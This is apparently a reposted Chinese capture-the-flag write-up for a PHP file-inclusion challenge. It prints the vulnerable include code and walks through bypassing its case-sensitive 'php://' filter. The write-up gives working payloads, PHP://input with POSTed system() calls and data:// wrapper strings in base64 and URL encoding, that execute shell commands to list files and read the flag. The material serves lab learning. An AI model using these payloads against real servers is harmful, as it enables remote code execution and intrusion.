攻防世界web进阶区——Web_php_include

一、基本方法:大小写绕过

考察的是文件包含,page中带有php://的都会被替换成空,str_replace()以其他字符替换字符串中的一些字符(区分大小写),strstr() 查找字符串首次出现的位置。返回字符串剩余部分。

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    
    
    $page=str_replace("php://", "", $page);
}
include($page);
?>

程序过滤掉了page=参数传入php://

可以大小写绕过,strstr(),该函数是区分大小写的。不区分大小写的搜索,用 stristr() 函数。。str_replace() 函数替换字符串中的一些字符(区分大小写)。

所以我们构造 ?page=PHP://input

php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。

post传入

<?php system("ls") ?>//读取文件目录
//而后
<?php system("cat fl4gisisish3r3.php ") ?>

在代码中获取flag。

二、data://伪协议执行命令利用

格式

data://text/plain;base64,xxxx(base64编码后的数据)

自 PHP 5.2.0 起 data:数据流封装器开始有效。

于是我们构造:(base64编码后的+号要变成url编码)

?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJkaXIiKT8%2b

同理,读取文件

?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwICIpID8%2bIA==

其实不需要通过base64编码来实现!将<?php system("cat fl4gisisish3r3.php ") ?>改变成url编码(或者其他的命令)。这样浏览器可以识别。

格式:

data://text/plain,xxx(url编码)

?page=data://text/plain,<%3Fphp system("cat fl4gisisish3r3.php ") %3F>

参考资料

php伪协议实现命令执行的七种姿势

PHP手册,data://

文件包含漏洞之3PHP伪协议实战

猜你喜欢

转载自blog.csdn.net/weixin_45605341/article/details/109148115